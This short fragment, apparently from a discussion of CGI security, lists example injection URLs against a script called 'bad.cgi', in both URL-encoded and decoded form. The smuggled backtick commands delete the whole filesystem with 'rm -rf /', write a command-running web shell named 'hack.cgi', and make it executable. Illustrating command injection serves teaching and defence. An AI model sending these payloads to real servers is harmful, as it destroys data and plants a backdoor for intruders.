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bad.cgi?var%3Dtext%3B%60rm%20-rf%20%2F%60 ... bad.cgi?var%3Dtext%3B%60echo%20%27print%20%5C%60%24cmd%5C%60%2C%20end_ +html%3B%20%3E%20hack.cgi%60 bad.cgi?var%3Dtext%3B%60chmod%20%2Bx%20hack.cgi%60
bad.cgi?var=text;`rm -rf /` ... bad.cgi?var=text;`echo 'print \`$cmd\`, end_html; > hack.cgi` bad.cgi?var=text;`chmod +x hack.cgi`